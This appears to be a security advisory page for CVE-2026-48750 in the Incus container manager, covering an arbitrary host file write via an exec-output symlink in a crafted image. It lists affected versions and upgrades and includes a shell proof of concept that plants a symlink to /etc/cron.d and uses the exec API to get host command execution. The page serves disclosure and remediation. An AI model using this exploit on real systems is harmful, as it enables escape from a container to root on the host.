CVE-2026-48750: Incus has an arbitrary file write on host via `exec-output` symlink in crafted image

Published Jun 26, 2026
·
Updated

Summary

The record-output parameter of the /instances/$name/exec endpoint stores the output of the command in the exec-output directory of the instance. If exec-output is a symlink, file named execUUID.stdout and execUUID.stderr can be written to an arbitrary location where the .stdout file will contain arbitrary content. This behavior can be abused for arbitrary command execution.

Details

When an image is unpacked, top-level symlinks are extracted as is; allowing for exec-output to be placed on disk. In instanceexec.go, os.Mkdir continues of exec-output exists and os.OpenFile follows the exec-output symlink.

PoC

Below, we place the execUUID.stdout file in /etc/cron.d on the host for arbitrary command execution.

#!/bin/sh usage: $0 existing-imagefp set -eu

basefp="${1}"

die() { printf '%s' "${@}" >&2 exit 1 }

command -v curl >/dev/null 2>&1 || die 'error: curl not found\n' command -v python3 >/dev/null 2>&1 || die 'error: python3 not found\n'

tmpdir=$(mktemp -d) cleanup() { rm -rf "${tmpdir}" } trap cleanup EXIT INT QUIT TERM HUP

insert exec-output symlink

incus image export "${basefp}" "${tmpdir}/img"

mkdir "${tmpdir}/repack" cd "${tmpdir}/repack"

xz -cd "${tmpdir}/img" | tar -f- -vx

rm -rf exec-output ln -s /etc/cron.d exec-output

tar -f- -c | gzip -c9 >"${tmpdir}/img"

cd - >/dev/null incus image import "${tmpdir}"/img --alias afw-exec-output

Launch container, exec with record-output via REST API incus launch afw-exec-output afw-exec-output incus wait afw-exec-output ip

OP=$(curl -s --unix-socket /var/lib/incus/unix.socket \ -X POST -H 'Content-Type: application/json' \ -d '{"command":["/bin/sh","-c","echo root id'"'>'"'/afw-exec-output"],"record-output":true}' \ "lxd/1.0/instances/afw-exec-output/exec" | python3 -c "import sys,json;print(json.load(sys.stdin)['operation'])")

curl -s --unix-socket /var/lib/incus/unix.socket "$OP/wait?timeout=30" >/dev/null

#find /etc/cron.d/exec -exec cat {} \;

Impact

Constrained file creation in an arbitrary directory on the host via via an unsanitized symlink; possibly leading to command execution.

Other sources

Incus is a system container and virtual machine manager. Prior to version 7.2.0, the record-output parameter of the /instances/$name/exec endpoint stores the output of the command in the exec-output directory of the instance. If exec-output is a symlink, file named execUUID.stdout and execUUID.stderr can be written to an arbitrary location where the .stdout file will contain arbitrary content. This behavior can be abused for arbitrary command execution. Version 7.2.0 contains a patch.

— MITRE

Affected Software

8 affected componentsFixes available
go/github.com/lxc/incus/v7/cmd/incusd<7.2.0
7.2.0
alpine/incus<7.0.1-r0
7.0.1-r0
debian/incus<6.0.4-2+deb13u8
6.0.4-2+deb13u8
debian/incus<7.0.0-5
7.0.0-5
debian/lxd*
debian/lxd<5.0.2+git20231211.1364ae4-9+deb13u7
5.0.2+git20231211.1364ae4-9+deb13u7
debian/incus
6.0.4-2+deb13u106.0.4-2+deb13u127.0.2-3
debian/lxd<=5.0.2-5+deb12u6
5.0.2+git20231211.1364ae4-9+deb13u7

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade go/github.com/lxc/incus/v7/cmd/incusd to a version that resolves this vulnerability.

    Fixed in 7.2.0
  2. Upgrade

    Upgrade alpine/incus to a version that resolves this vulnerability.

    Fixed in 7.0.1-r0
  3. Upgrade

    Upgrade debian/incus to a version that resolves this vulnerability.

    Fixed in 6.0.4-2+deb13u8
  4. Upgrade

    Upgrade debian/incus to a version that resolves this vulnerability.

    Fixed in 7.0.0-5
  5. Upgrade

    Upgrade debian/lxd to a version that resolves this vulnerability.

    Fixed in 5.0.2+git20231211.1364ae4-9+deb13u7
  6. Upgrade

    Upgrade debian/incus to a version that resolves this vulnerability.

    Fixed in 6.0.4-2+deb13u10Fixed in 6.0.4-2+deb13u12Fixed in 7.0.2-3
  7. Upgrade

    Upgrade Incus to a version that resolves this vulnerability.

    Fixed in 7.2.0

Event History

Jun 26, 2026
Advisory Published
via GitHub·06:32 PM
Data Sourced
via GitHub·06:32 PM
DescriptionSeverityWeaknessAffected Software
Aug 21, 2026
CVE Published
via MITRE·02:19 PM
Data Sourced
via MITRE·02:19 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·03:16 PM
DescriptionSeverityWeakness

Parent advisories

This vulnerability appears in the following advisories.

Frequently Asked Questions

1

What is the severity of CVE-2026-48750?

CVE-2026-48750 has a critical severity rating of 9.9.

2

How do I fix CVE-2026-48750?

To mitigate CVE-2026-48750, ensure that the `exec-output` directory is not a symlink and restrict access to it.

3

What does the CVE-2026-48750 vulnerability affect?

CVE-2026-48750 affects the `record-output` parameter of the `/instances/$name/exec` endpoint in the LXC Incus software.

4

What impact does CVE-2026-48750 have on security?

CVE-2026-48750 allows for arbitrary file writing, which can lead to compromises in confidentiality, integrity, and availability.

5

When was CVE-2026-48750 published?

CVE-2026-48750 was published on June 26, 2026.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203